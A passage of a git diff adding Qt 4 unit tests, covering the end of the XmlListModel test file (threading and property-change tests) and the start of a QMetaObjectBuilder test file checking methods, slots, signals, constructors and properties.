+ QDeclarativeXmlListModel *m1 = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(m1 != 0);
+ QDeclarativeXmlListModel *m2 = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(m2 != 0);
+ QDeclarativeXmlListModel *m3 = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(m3 != 0);
+
+ for (int dataCount=0; dataCount<xmlDataCount; dataCount++) {
+
+ QString data1, data2, data3;
+ for (int i=0; i<dataCount; i++) {
+ data1 += "name=A" + QString::number(i) + ",age=1" + QString::number(i) + ",sport=Football;";
+ data2 += "name=B" + QString::number(i) + ",age=2" + QString::number(i) + ",sport=Athletics;";
+ data3 += "name=C" + QString::number(i) + ",age=3" + QString::number(i) + ",sport=Curling;";
+ }
+
+ //Set the xml data multiple times with randomized order and mixed with multiple event loops
+ //to test the xml query reloading/aborting, the result should be stable.
+ m1->setXml(makeItemXmlAndData(data1));
+ m2->setXml(makeItemXmlAndData(data2));
+ m3->setXml(makeItemXmlAndData(data3));
+ QCoreApplication::processEvents();
+ m2->setXml(makeItemXmlAndData(data2));
+ m1->setXml(makeItemXmlAndData(data1));
+ m2->setXml(makeItemXmlAndData(data2));
+ QCoreApplication::processEvents();
+ m3->setXml(makeItemXmlAndData(data3));
+ QCoreApplication::processEvents();
+ m2->setXml(makeItemXmlAndData(data2));
+ m1->setXml(makeItemXmlAndData(data1));
+ m2->setXml(makeItemXmlAndData(data2));
+ m3->setXml(makeItemXmlAndData(data3));
+ QCoreApplication::processEvents();
+ m2->setXml(makeItemXmlAndData(data2));
+ m3->setXml(makeItemXmlAndData(data3));
+ m3->setXml(makeItemXmlAndData(data3));
+ QCoreApplication::processEvents();
+
+ QTRY_VERIFY(m1->count() == dataCount && m2->count() == dataCount && m3->count() == dataCount);
+
+ for (int i=0; i<dataCount; i++) {
+ QCOMPARE(m1->data(i, m1->roles()[0]).toString(), QString("A" + QString::number(i)));
+ QCOMPARE(m1->data(i, m1->roles()[1]).toString(), QString("1" + QString::number(i)));
+ QCOMPARE(m1->data(i, m1->roles()[2]).toString(), QString("Football"));
+
+ QCOMPARE(m2->data(i, m2->roles()[0]).toString(), QString("B" + QString::number(i)));
+ QCOMPARE(m2->data(i, m2->roles()[1]).toString(), QString("2" + QString::number(i)));
+ QCOMPARE(m2->data(i, m2->roles()[2]).toString(), QString("Athletics"));
+
+ QCOMPARE(m3->data(i, m3->roles()[0]).toString(), QString("C" + QString::number(i)));
+ QCOMPARE(m3->data(i, m3->roles()[1]).toString(), QString("3" + QString::number(i)));
+ QCOMPARE(m3->data(i, m3->roles()[2]).toString(), QString("Curling"));
+ }
+ }
+
+ delete m1;
+ delete m2;
+ delete m3;
+}
+
+void tst_qdeclarativexmllistmodel::threading_data()
+{
+ QTest::addColumn<int>("xmlDataCount");
+
+ QTest::newRow("1") << 1;
+ QTest::newRow("2") << 2;
+ QTest::newRow("10") << 10;
+}
+
+void tst_qdeclarativexmllistmodel::propertyChanges()
+{
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+ QTRY_COMPARE(model->count(), 9);
+
+ QDeclarativeXmlListModelRole *role = model->findChild<QDeclarativeXmlListModelRole*>("role");
+ QVERIFY(role);
+
+ QSignalSpy nameSpy(role, SIGNAL(nameChanged()));
+ QSignalSpy querySpy(role, SIGNAL(queryChanged()));
+ QSignalSpy isKeySpy(role, SIGNAL(isKeyChanged()));
+
+ role->setName("size");
+ role->setQuery("size/string()");
+ role->setIsKey(true);
+
+ QCOMPARE(role->name(), QString("size"));
+ QCOMPARE(role->query(), QString("size/string()"));
+ QVERIFY(role->isKey());
+
+ QCOMPARE(nameSpy.count(),1);
+ QCOMPARE(querySpy.count(),1);
+ QCOMPARE(isKeySpy.count(),1);
+
+ role->setName("size");
+ role->setQuery("size/string()");
+ role->setIsKey(true);
+
+ QCOMPARE(nameSpy.count(),1);
+ QCOMPARE(querySpy.count(),1);
+ QCOMPARE(isKeySpy.count(),1);
+
+ QSignalSpy sourceSpy(model, SIGNAL(sourceChanged()));
+ QSignalSpy xmlSpy(model, SIGNAL(xmlChanged()));
+ QSignalSpy modelQuerySpy(model, SIGNAL(queryChanged()));
+ QSignalSpy namespaceDeclarationsSpy(model, SIGNAL(namespaceDeclarationsChanged()));
+
+ model->setSource(QUrl(""));
+ model->setXml("<Pets><Pet><name>Polly</name><type>Parrot</type><age>12</age><size>Small</size></Pet></Pets>");
+ model->setQuery("/Pets");
+ model->setNamespaceDeclarations("declare namespace media=\"http://search.yahoo.com/mrss/\";");
+
+ QCOMPARE(model->source(), QUrl(""));
+ QCOMPARE(model->xml(), QString("<Pets><Pet><name>Polly</name><type>Parrot</type><age>12</age><size>Small</size></Pet></Pets>"));
+ QCOMPARE(model->query(), QString("/Pets"));
+ QCOMPARE(model->namespaceDeclarations(), QString("declare namespace media=\"http://search.yahoo.com/mrss/\";"));
+
+ QTRY_VERIFY(model->count() == 1);
+
+ QCOMPARE(sourceSpy.count(),1);
+ QCOMPARE(xmlSpy.count(),1);
+ QCOMPARE(modelQuerySpy.count(),1);
+ QCOMPARE(namespaceDeclarationsSpy.count(),1);
+
+ model->setSource(QUrl(""));
+ model->setXml("<Pets><Pet><name>Polly</name><type>Parrot</type><age>12</age><size>Small</size></Pet></Pets>");
+ model->setQuery("/Pets");
+ model->setNamespaceDeclarations("declare namespace media=\"http://search.yahoo.com/mrss/\";");
+
+ QCOMPARE(sourceSpy.count(),1);
+ QCOMPARE(xmlSpy.count(),1);
+ QCOMPARE(modelQuerySpy.count(),1);
+ QCOMPARE(namespaceDeclarationsSpy.count(),1);
+
+ QTRY_VERIFY(model->count() == 1);
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::roleCrash()
+{
+ // don't crash
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleCrash.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+ delete model;
+}
+
+QTEST_MAIN(tst_qdeclarativexmllistmodel)
+
+#include "tst_qdeclarativexmllistmodel.moc"
+
+#else
+QTEST_NOOP_MAIN
+#endif
diff --git a/tests/auto/declarative/qmetaobjectbuilder/qmetaobjectbuilder.pro b/tests/auto/declarative/qmetaobjectbuilder/qmetaobjectbuilder.pro
new file mode 100644
index 00000000..988177e5
--- /dev/null
+++ b/tests/auto/declarative/qmetaobjectbuilder/qmetaobjectbuilder.pro
@@ -0,0 +1,8 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+SOURCES += \
+ tst_qmetaobjectbuilder.cpp
+
+CONFIG += parallel_test
diff --git a/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp
new file mode 100644
index 00000000..d19bf951
--- /dev/null
+++ b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp
@@ -0,0 +1,1268 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtTest/QtTest>
+#include <QtCore/qlocale.h>
+#include <private/qmetaobjectbuilder_p.h>
+
+class tst_QMetaObjectBuilder : public QObject
+{
+ Q_OBJECT
+public:
+ tst_QMetaObjectBuilder() {}
+ ~tst_QMetaObjectBuilder() {}
+
+private slots:
+ void mocVersionCheck();
+ void create();
+ void className();
+ void superClass();
+ void flags();
+ void method();
+ void slot();
+ void signal();
+ void constructor();
+ void property();
+ void notifySignal();
+ void enumerator();
+ void classInfo();
+ void relatedMetaObject();
+ void staticMetacall();
+ void copyMetaObject();
+ void serialize();
+ void removeNotifySignal();
+
+private:
+ static bool checkForSideEffects
+ (const QMetaObjectBuilder& builder,
+ QMetaObjectBuilder::AddMembers members);
+ static bool sameMetaObject
+ (const QMetaObject *meta1, const QMetaObject *meta2);
+};
+
+// Dummy class that has something of every type of thing moc can generate.
+class SomethingOfEverything : public QObject
+{
+ Q_OBJECT
+ Q_CLASSINFO("ci_foo", "ABC")
+ Q_CLASSINFO("ci_bar", "DEF")
+ Q_PROPERTY(QString prop READ prop WRITE setProp NOTIFY propChanged)
+ Q_PROPERTY(QString prop2 READ prop WRITE setProp)
+ Q_PROPERTY(SomethingEnum eprop READ eprop)
+ Q_PROPERTY(SomethingFlagEnum fprop READ fprop)
+ Q_PROPERTY(QLocale::Language language READ language)
+ Q_ENUMS(SomethingEnum)
+ Q_FLAGS(SomethingFlagEnum)
+public:
+ Q_INVOKABLE SomethingOfEverything() {}
+ ~SomethingOfEverything() {}
+
+ enum SomethingEnum
+ {
+ GHI,
+ JKL = 10
+ };
+
+ enum SomethingFlagEnum
+ {
+ XYZ = 1,
+ UVW = 8
+ };
+
+ Q_INVOKABLE Q_SCRIPTABLE void method1() {}
+
+ QString prop() const { return QString(); }
+ void setProp(const QString& v) { Q_UNUSED(v); }
+
+ SomethingOfEverything::SomethingEnum eprop() const { return GHI; }
+ SomethingOfEverything::SomethingFlagEnum fprop() const { return XYZ; }
+ QLocale::Language language() const { return QLocale::English; }
+
+public slots:
+ void slot1(const QString&) {}
+ void slot2(int, const QString&) {}
+
+private slots:
+ void slot3() {}
+
+protected slots:
+ Q_SCRIPTABLE void slot4(int) {}
+ void slot5(int a, const QString& b) { Q_UNUSED(a); Q_UNUSED(b); }
+
+signals:
+ void sig1();
+ void sig2(int x, const QString& y);
+ void propChanged(const QString&);
+};
+
+void tst_QMetaObjectBuilder::mocVersionCheck()
+{
+ // This test will fail when the moc version number is changed.
+ // It is intended as a reminder to also update QMetaObjectBuilder
+ // whenenver moc changes. Once QMetaObjectBuilder has been
+ // updated, this test can be changed to check for the next version.
+ int version = int(QObject::staticMetaObject.d.data[0]);
+ QVERIFY(version == 4 || version == 5 || version == 6);
+ version = int(staticMetaObject.d.data[0]);
+ QVERIFY(version == 4 || version == 5 || version == 6);
+}
+
+void tst_QMetaObjectBuilder::create()
+{
+ QMetaObjectBuilder builder;
+ QVERIFY(builder.className().isEmpty());
+ QVERIFY(builder.superClass() == &QObject::staticMetaObject);
+ QCOMPARE(builder.methodCount(), 0);
+ QCOMPARE(builder.constructorCount(), 0);
+ QCOMPARE(builder.propertyCount(), 0);
+ QCOMPARE(builder.enumeratorCount(), 0);
+ QCOMPARE(builder.classInfoCount(), 0);
+ QCOMPARE(builder.relatedMetaObjectCount(), 0);
+ QVERIFY(builder.staticMetacallFunction() == 0);
+}
+
+void tst_QMetaObjectBuilder::className()
+{
+ QMetaObjectBuilder builder;
+
+ // Change the class name.
+ builder.setClassName("Foo");
+ QCOMPARE(builder.className(), QByteArray("Foo"));
+
+ // Change it again.
+ builder.setClassName("Bar");
+ QCOMPARE(builder.className(), QByteArray("Bar"));
+
+ // Clone the class name off a static QMetaObject.
+ builder.addMetaObject(&QObject::staticMetaObject, QMetaObjectBuilder::ClassName);
+ QCOMPARE(builder.className(), QByteArray("QObject"));
+
+ // Check that nothing else changed.
+ QVERIFY(checkForSideEffects(builder, QMetaObjectBuilder::ClassName));
+}
+
+void tst_QMetaObjectBuilder::superClass()
+{
+ QMetaObjectBuilder builder;
+
+ // Change the super class.
+ builder.setSuperClass(&QObject::staticMetaObject);
+ QVERIFY(builder.superClass() == &QObject::staticMetaObject);
+
+ // Change it again.
+ builder.setSuperClass(&staticMetaObject);
+ QVERIFY(builder.superClass() == &staticMetaObject);
+
+ // Clone the super class off a static QMetaObject.
+ builder.addMetaObject(&QObject::staticMetaObject, QMetaObjectBuilder::SuperClass);
+ QVERIFY(builder.superClass() == 0);
+ builder.addMetaObject(&staticMetaObject, QMetaObjectBuilder::SuperClass);
+ QVERIFY(builder.superClass() == staticMetaObject.superClass());
+
+ // Check that nothing else changed.
+ QVERIFY(checkForSideEffects(builder, QMetaObjectBuilder::SuperClass));
+}
+
+void tst_QMetaObjectBuilder::flags()
+{
+ QMetaObjectBuilder builder;
+
+ // Check default
+ QVERIFY(builder.flags() == 0);
+
+ // Set flags
+ builder.setFlags(QMetaObjectBuilder::DynamicMetaObject);
+ QVERIFY(builder.flags() == QMetaObjectBuilder::DynamicMetaObject);
+}
+
+void tst_QMetaObjectBuilder::method()
+{
+ QMetaObjectBuilder builder;
+
+ // Check null method
+ QMetaMethodBuilder nullMethod;
+ QCOMPARE(nullMethod.signature(), QByteArray());
+ QVERIFY(nullMethod.methodType() == QMetaMethod::Method);
+ QVERIFY(nullMethod.returnType().isEmpty());
+ QVERIFY(nullMethod.parameterNames().isEmpty());
+ QVERIFY(nullMethod.tag().isEmpty());
+ QVERIFY(nullMethod.access() == QMetaMethod::Public);
+ QCOMPARE(nullMethod.attributes(), 0);
+ QCOMPARE(nullMethod.index(), 0);
+
+ // Add a method and check its attributes.
+ QMetaMethodBuilder method1 = builder.addMethod("foo(const QString&, int)");
+ QCOMPARE(method1.signature(), QByteArray("foo(QString,int)"));
+ QVERIFY(method1.methodType() == QMetaMethod::Method);
+ QVERIFY(method1.returnType().isEmpty());
+ QVERIFY(method1.parameterNames().isEmpty());
+ QVERIFY(method1.tag().isEmpty());
+ QVERIFY(method1.access() == QMetaMethod::Public);
+ QCOMPARE(method1.attributes(), 0);
+ QCOMPARE(method1.index(), 0);
+ QCOMPARE(builder.methodCount(), 1);
+
+ // Add another method and check again.
+ QMetaMethodBuilder method2 = builder.addMethod("bar(QString)", "int");
+ QCOMPARE(method2.signature(), QByteArray("bar(QString)"));
+ QVERIFY(method2.methodType() == QMetaMethod::Method);
+ QCOMPARE(method2.returnType(), QByteArray("int"));
+ QVERIFY(method2.parameterNames().isEmpty());
+ QVERIFY(method2.tag().isEmpty());
+ QVERIFY(method2.access() == QMetaMethod::Public);
+ QCOMPARE(method2.attributes(), 0);
+ QCOMPARE(method2.index(), 1);
+ QCOMPARE(builder.methodCount(), 2);
+
+ // Perform index-based lookup.
+ QCOMPARE(builder.indexOfMethod("foo(const QString&, int)"), 0);
+ QCOMPARE(builder.indexOfMethod("bar(QString)"), 1);
+ QCOMPARE(builder.indexOfMethod("baz()"), -1);
+
+ // Modify the attributes on method1.
+ method1.setReturnType("int");
+ method1.setParameterNames(QList<QByteArray>() << "a" << "b");
+ method1.setTag("tag");
+ method1.setAccess(QMetaMethod::Private);
+ method1.setAttributes(42);
+
+ // Check that method1 is changed, but method2 is not.
+ QCOMPARE(method1.signature(), QByteArray("foo(QString,int)"));
+ QVERIFY(method1.methodType() == QMetaMethod::Method);
+ QCOMPARE(method1.returnType(), QByteArray("int"));
+ QCOMPARE(method1.parameterNames(), QList<QByteArray>() << "a" << "b");
+ QCOMPARE(method1.tag(), QByteArray("tag"));
+ QVERIFY(method1.access() == QMetaMethod::Private);
+ QCOMPARE(method1.attributes(), 42);
+ QCOMPARE(method1.index(), 0);
+ QCOMPARE(method2.signature(), QByteArray("bar(QString)"));
+ QVERIFY(method2.methodType() == QMetaMethod::Method);
+ QCOMPARE(method2.returnType(), QByteArray("int"));
+ QVERIFY(method2.parameterNames().isEmpty());
+ QVERIFY(method2.tag().isEmpty());
+ QVERIFY(method2.access() == QMetaMethod::Public);
+ QCOMPARE(method2.attributes(), 0);
+ QCOMPARE(method2.index(), 1);
+ QCOMPARE(builder.methodCount(), 2);
+
+ // Modify the attributes on method2.
+ method2.setReturnType("QString");
+ method2.setParameterNames(QList<QByteArray>() << "c");
+ method2.setTag("Q_FOO");
+ method2.setAccess(QMetaMethod::Protected);
+ method2.setAttributes(24);
+
+ // This time check that only method2 changed.
+ QCOMPARE(method1.signature(), QByteArray("foo(QString,int)"));
+ QVERIFY(method1.methodType() == QMetaMethod::Method);
+ QCOMPARE(method1.returnType(), QByteArray("int"));
+ QCOMPARE(method1.parameterNames(), QList<QByteArray>() << "a" << "b");
+ QCOMPARE(method1.tag(), QByteArray("tag"));
+ QVERIFY(method1.access() == QMetaMethod::Private);
+ QCOMPARE(method1.attributes(), 42);
+ QCOMPARE(method1.index(), 0);
+ QCOMPARE(method2.signature(), QByteArray("bar(QString)"));
+ QVERIFY(method2.methodType() == QMetaMethod::Method);
+ QCOMPARE(method2.returnType(), QByteArray("QString"));
+ QCOMPARE(method2.parameterNames(), QList<QByteArray>() << "c");
+ QCOMPARE(method2.tag(), QByteArray("Q_FOO"));
+ QVERIFY(method2.access() == QMetaMethod::Protected);
+ QCOMPARE(method2.attributes(), 24);
+ QCOMPARE(method2.index(), 1);
+ QCOMPARE(builder.methodCount(), 2);
+
+ // Remove method1 and check that method2 becomes index 0.
+ builder.removeMethod(0);
+ QCOMPARE(builder.methodCount(), 1);
+ method2 = builder.method(0);
+ QCOMPARE(method2.signature(), QByteArray("bar(QString)"));
+ QVERIFY(method2.methodType() == QMetaMethod::Method);
+ QCOMPARE(method2.returnType(), QByteArray("QString"));
+ QCOMPARE(method2.parameterNames(), QList<QByteArray>() << "c");
+ QCOMPARE(method2.tag(), QByteArray("Q_FOO"));
+ QVERIFY(method2.access() == QMetaMethod::Protected);
+ QCOMPARE(method2.attributes(), 24);
+ QCOMPARE(method2.index(), 0);
+
+ // Perform index-based lookup again.
+ QCOMPARE(builder.indexOfMethod("foo(const QString&, int)"), -1);
+ QCOMPARE(builder.indexOfMethod("bar(QString)"), 0);
+ QCOMPARE(builder.indexOfMethod("baz()"), -1);
+ QCOMPARE(builder.method(0).signature(), QByteArray("bar(QString)"));
+ QCOMPARE(builder.method(9).signature(), QByteArray());
+
+ // Check that nothing else changed.
+ QVERIFY(checkForSideEffects(builder, QMetaObjectBuilder::Methods));
+}
+
+void tst_QMetaObjectBuilder::slot()
+{
+ QMetaObjectBuilder builder;
+
+ // Add a slot and check its attributes.
+ QMetaMethodBuilder method1 = builder.addSlot("foo(const QString&, int)");
+ QCOMPARE(method1.signature(), QByteArray("foo(QString,int)"));
+ QVERIFY(method1.methodType() == QMetaMethod::Slot);
+ QVERIFY(method1.returnType().isEmpty());
+ QVERIFY(method1.parameterNames().isEmpty());
+ QVERIFY(method1.tag().isEmpty());
+ QVERIFY(method1.access() == QMetaMethod::Public);
+ QCOMPARE(method1.attributes(), 0);
+ QCOMPARE(method1.index(), 0);
+ QCOMPARE(builder.methodCount(), 1);
+
+ // Add another slot and check again.
+ QMetaMethodBuilder method2 = builder.addSlot("bar(QString)");
+ QCOMPARE(method2.signature(), QByteArray("bar(QString)"));
+ QVERIFY(method2.methodType() == QMetaMethod::Slot);
+ QVERIFY(method2.returnType().isEmpty());
+ QVERIFY(method2.parameterNames().isEmpty());
+ QVERIFY(method2.tag().isEmpty());
+ QVERIFY(method2.access() == QMetaMethod::Public);
+ QCOMPARE(method2.attributes(), 0);
+ QCOMPARE(method2.index(), 1);
+ QCOMPARE(builder.methodCount(), 2);
+
+ // Perform index-based lookup
+ QCOMPARE(builder.indexOfSlot("foo(const QString &, int)"), 0);
+ QCOMPARE(builder.indexOfSlot("bar(QString)"), 1);
+ QCOMPARE(builder.indexOfSlot("baz()"), -1);
+
+ // Check that nothing else changed.
+ QVERIFY(checkForSideEffects(builder, QMetaObjectBuilder::Methods));
+}
+
+void tst_QMetaObjectBuilder::signal()
+{
+ QMetaObjectBuilder builder;
+
+ // Add a signal and check its attributes.
+ QMetaMethodBuilder method1 = builder.addSignal("foo(const QString&, int)");
+ QCOMPARE(method1.signature(), QByteArray("foo(QString,int)"));
+ QVERIFY(method1.methodType() == QMetaMethod::Signal);
+ QVERIFY(method1.returnType().isEmpty());
+ QVERIFY(method1.parameterNames().isEmpty());
+ QVERIFY(method1.tag().isEmpty());
+ QVERIFY(method1.access() == QMetaMethod::Protected);
+ QCOMPARE(method1.attributes(), 0);
+ QCOMPARE(method1.index(), 0);
+ QCOMPARE(builder.methodCount(), 1);
+
+ // Add another signal and check again.
+ QMetaMethodBuilder method2 = builder.addSignal("bar(QString)");
+ QCOMPARE(method2.signature(), QByteArray("bar(QString)"));
+ QVERIFY(method2.methodType() == QMetaMethod::Signal);
+ QVERIFY(method2.returnType().isEmpty());
+ QVERIFY(method2.parameterNames().isEmpty());
+ QVERIFY(method2.tag().isEmpty());
+ QVERIFY(method2.access() == QMetaMethod::Protected);
+ QCOMPARE(method2.attributes(), 0);
+ QCOMPARE(method2.index(), 1);
+ QCOMPARE(builder.methodCount(), 2);
+
+ // Perform index-based lookup
+ QCOMPARE(builder.indexOfSignal("foo(const QString &, int)"), 0);
+ QCOMPARE(builder.indexOfSignal("bar(QString)"), 1);
+ QCOMPARE(builder.indexOfSignal("baz()"), -1);
+
+ // Check that nothing else changed.
+ QVERIFY(checkForSideEffects(builder, QMetaObjectBuilder::Methods));
+}
+
+void tst_QMetaObjectBuilder::constructor()
+{
+ QMetaObjectBuilder builder;
+
+ // Add a constructor and check its attributes.
+ QMetaMethodBuilder ctor1 = builder.addConstructor("foo(const QString&, int)");
+ QCOMPARE(ctor1.signature(), QByteArray("foo(QString,int)"));
+ QVERIFY(ctor1.methodType() == QMetaMethod::Constructor);
+ QVERIFY(ctor1.returnType().isEmpty());
+ QVERIFY(ctor1.parameterNames().isEmpty());
+ QVERIFY(ctor1.tag().isEmpty());
+ QVERIFY(ctor1.access() == QMetaMethod::Public);
+ QCOMPARE(ctor1.attributes(), 0);
+ QCOMPARE(ctor1.index(), 0);
+ QCOMPARE(builder.constructorCount(), 1);
+
+ // Add another constructor and check again.
+ QMetaMethodBuilder ctor2 = builder.addConstructor("bar(QString)");
+ QCOMPARE(ctor2.signature(), QByteArray("bar(QString)"));
+ QVERIFY(ctor2.methodType() == QMetaMethod::Constructor);
+ QVERIFY(ctor2.returnType().isEmpty());
+ QVERIFY(ctor2.parameterNames().isEmpty());
+ QVERIFY(ctor2.tag().isEmpty());
+ QVERIFY(ctor2.access() == QMetaMethod::Public);
+ QCOMPARE(ctor2.attributes(), 0);
+ QCOMPARE(ctor2.index(), 1);
+ QCOMPARE(builder.constructorCount(), 2);
+
+ // Perform index-based lookup.
+ QCOMPARE(builder.indexOfConstructor("foo(const QString&, int)"), 0);
+ QCOMPARE(builder.indexOfConstructor("bar(QString)"), 1);
+ QCOMPARE(builder.indexOfConstructor("baz()"), -1);
+ QCOMPARE(builder.constructor(1).signature(), QByteArray("bar(QString)"));
+ QCOMPARE(builder.constructor(9).signature(), QByteArray());
+
+ // Modify the attributes on ctor1.
+ ctor1.setReturnType("int");
+ ctor1.setParameterNames(QList<QByteArray>() << "a" << "b");
+ ctor1.setTag("tag");
+ ctor1.setAccess(QMetaMethod::Private);
+ ctor1.setAttributes(42);
+
+ // Check that ctor1 is changed, but ctor2 is not.
+ QCOMPARE(ctor1.signature(), QByteArray("foo(QString,int)"));
+ QVERIFY(ctor1.methodType() == QMetaMethod::Constructor);
+ QCOMPARE(ctor1.returnType(), QByteArray("int"));
+ QCOMPARE(ctor1.parameterNames(), QList<QByteArray>() << "a" << "b");
+ QCOMPARE(ctor1.tag(), QByteArray("tag"));
+ QVERIFY(ctor1.access() == QMetaMethod::Private);
+ QCOMPARE(ctor1.attributes(), 42);
+ QCOMPARE(ctor1.index(), 0);
+ QCOMPARE(ctor2.signature(), QByteArray("bar(QString)"));
+ QVERIFY(ctor2.methodType() == QMetaMethod::Constructor);
+ QVERIFY(ctor2.returnType().isEmpty());
+ QVERIFY(ctor2.parameterNames().isEmpty());
+ QVERIFY(ctor2.tag().isEmpty());
+ QVERIFY(ctor2.access() == QMetaMethod::Public);
+ QCOMPARE(ctor2.attributes(), 0);
+ QCOMPARE(ctor2.index(), 1);
+ QCOMPARE(builder.constructorCount(), 2);
+
+ // Modify the attributes on ctor2.
+ ctor2.setReturnType("QString");
+ ctor2.setParameterNames(QList<QByteArray>() << "c");
+ ctor2.setTag("Q_FOO");
+ ctor2.setAccess(QMetaMethod::Protected);
+ ctor2.setAttributes(24);
+
+ // This time check that only ctor2 changed.
+ QCOMPARE(ctor1.signature(), QByteArray("foo(QString,int)"));
+ QVERIFY(ctor1.methodType() == QMetaMethod::Constructor);
+ QCOMPARE(ctor1.returnType(), QByteArray("int"));
+ QCOMPARE(ctor1.parameterNames(), QList<QByteArray>() << "a" << "b");
+ QCOMPARE(ctor1.tag(), QByteArray("tag"));
+ QVERIFY(ctor1.access() == QMetaMethod::Private);
+ QCOMPARE(ctor1.attributes(), 42);
+ QCOMPARE(ctor1.index(), 0);
+ QCOMPARE(ctor2.signature(), QByteArray("bar(QString)"));
+ QVERIFY(ctor2.methodType() == QMetaMethod::Constructor);
+ QCOMPARE(ctor2.returnType(), QByteArray("QString"));
+ QCOMPARE(ctor2.parameterNames(), QList<QByteArray>() << "c");
+ QCOMPARE(ctor2.tag(), QByteArray("Q_FOO"));
+ QVERIFY(ctor2.access() == QMetaMethod::Protected);
+ QCOMPARE(ctor2.attributes(), 24);
+ QCOMPARE(ctor2.index(), 1);
+ QCOMPARE(builder.constructorCount(), 2);
+
+ // Remove ctor1 and check that ctor2 becomes index 0.
+ builder.removeConstructor(0);
+ QCOMPARE(builder.constructorCount(), 1);
+ ctor2 = builder.constructor(0);
+ QCOMPARE(ctor2.signature(), QByteArray("bar(QString)"));
+ QVERIFY(ctor2.methodType() == QMetaMethod::Constructor);
+ QCOMPARE(ctor2.returnType(), QByteArray("QString"));
+ QCOMPARE(ctor2.parameterNames(), QList<QByteArray>() << "c");
+ QCOMPARE(ctor2.tag(), QByteArray("Q_FOO"));
+ QVERIFY(ctor2.access() == QMetaMethod::Protected);
+ QCOMPARE(ctor2.attributes(), 24);
+ QCOMPARE(ctor2.index(), 0);
+
+ // Perform index-based lookup again.
+ QCOMPARE(builder.indexOfConstructor("foo(const QString&, int)"), -1);
+ QCOMPARE(builder.indexOfConstructor("bar(QString)"), 0);
+ QCOMPARE(builder.indexOfConstructor("baz()"), -1);
+
+ // Add constructor from prototype
+ QMetaMethod prototype = SomethingOfEverything::staticMetaObject.constructor(0);
+ QMetaMethodBuilder prototypeConstructor = builder.addMethod(prototype);
+ QCOMPARE(builder.constructorCount(), 2);
+
+ QCOMPARE(prototypeConstructor.signature(), QByteArray("SomethingOfEverything()"));
+ QVERIFY(prototypeConstructor.methodType() == QMetaMethod::Constructor);
+ QCOMPARE(prototypeConstructor.returnType(), QByteArray());
+ QVERIFY(prototypeConstructor.access() == QMetaMethod::Public);
+ QCOMPARE(prototypeConstructor.index(), 1);
+
+ // Check that nothing else changed.
+ QVERIFY(checkForSideEffects(builder, QMetaObjectBuilder::Constructors));
+}
+
+void tst_QMetaObjectBuilder::property()
+{
+ QMetaObjectBuilder builder;
+
+ // Null property builder
+ QMetaPropertyBuilder nullProp;
+ QCOMPARE(nullProp.name(), QByteArray());
+ QCOMPARE(nullProp.type(), QByteArray());
+ QVERIFY(!nullProp.hasNotifySignal());
+ QVERIFY(!nullProp.isReadable());
+ QVERIFY(!nullProp.isWritable());
+ QVERIFY(!nullProp.isResettable());
+ QVERIFY(!nullProp.isDesignable());
+ QVERIFY(!nullProp.isScriptable());
+ QVERIFY(!nullProp.isStored());
+ QVERIFY(!nullProp.isEditable());
+ QVERIFY(!nullProp.isUser());
+ QVERIFY(!nullProp.hasStdCppSet());
+ QVERIFY(!nullProp.isEnumOrFlag());
+ QVERIFY(!nullProp.isConstant());
+ QVERIFY(!nullProp.isFinal());
+ QCOMPARE(nullProp.index(), 0);
+
+ // Add a property and check its attributes.
+ QMetaPropertyBuilder prop1 = builder.addProperty("foo", "const QString &");
+ QCOMPARE(prop1.name(), QByteArray("foo"));
+ QCOMPARE(prop1.type(), QByteArray("QString"));
+ QVERIFY(!prop1.hasNotifySignal());
+ QVERIFY(prop1.isReadable());
+ QVERIFY(prop1.isWritable());
+ QVERIFY(!prop1.isResettable());
+ QVERIFY(!prop1.isDesignable());
+ QVERIFY(prop1.isScriptable());
+ QVERIFY(!prop1.isStored());
+ QVERIFY(!prop1.isEditable());
+ QVERIFY(!prop1.isUser());
+ QVERIFY(!prop1.hasStdCppSet());
+ QVERIFY(!prop1.isEnumOrFlag());
+ QVERIFY(!prop1.isConstant());
+ QVERIFY(!prop1.isFinal());
+ QCOMPARE(prop1.index(), 0);
+ QCOMPARE(builder.propertyCount(), 1);
+
+ // Add another property and check again.
+ QMetaPropertyBuilder prop2 = builder.addProperty("bar", "int");
+ QCOMPARE(prop2.name(), QByteArray("bar"));
+ QCOMPARE(prop2.type(), QByteArray("int"));
+ QVERIFY(!prop2.hasNotifySignal());
